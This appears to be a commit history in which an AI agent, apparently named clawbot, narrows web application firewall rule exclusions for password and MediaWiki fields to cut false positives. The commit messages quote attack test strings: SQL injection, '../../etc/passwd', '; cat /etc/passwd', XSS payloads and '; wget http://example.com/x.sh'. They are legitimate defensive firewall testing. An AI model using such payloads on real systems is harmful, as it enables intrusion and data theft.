3 Commits

Include renames

Author	SHA1	Message	Date
clawbot	c0071a7e8c	Core Rule Set: random passwords pass at sign-in (closes #276) ... A password manager's random password set off 35 Core Rule Set rules, about 1 in 40 refused. The password fields the app exclusions name now skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki wpPassword, lgpassword and password, Mastodon's sign-in, sign-up, password change, move and delete passwords, and Nextcloud's sign-in password. The tests draw 2,000 random passwords from a fixed seed, plus one rare password for each rule the 2,000 do not set off. Those that set off a rule in a field no exclusion names are sent to every password field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` sent as a password now pass; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused. Model: opus-5-5	2026-11-10 10:41:25 +00:00
clawbot	922fe0cf71	Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258) ... On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom, gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the fields they stand in for do. On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title per line, always skips 930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only when the body sends it once and it holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So "; wget http://example.com/x.sh" is still refused. Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change used. Model: opus-5-5	2026-11-10 03:09:24 +01:00
clawbot	9aa5b303cf	Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237) ... Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields that carry a search, a title, a name, a file name or an address skip the four rules that read them as commands or system files, and the wikitext fields skip the rules that refused saving a page. The reasons on the admin pages skip only 930120 and 932120. /index.php counts as MediaWiki's only with a page title in its query or after its path, since WordPress serves it too. The requests recorded from MediaWiki 1.46.2, with and without short URLs and on the admin pages, pass at the defaults and while bodies are read. The app tests share the check of recorded requests and the list of hard values. Model: opus-5-5	2026-11-10 00:58:15 +01:00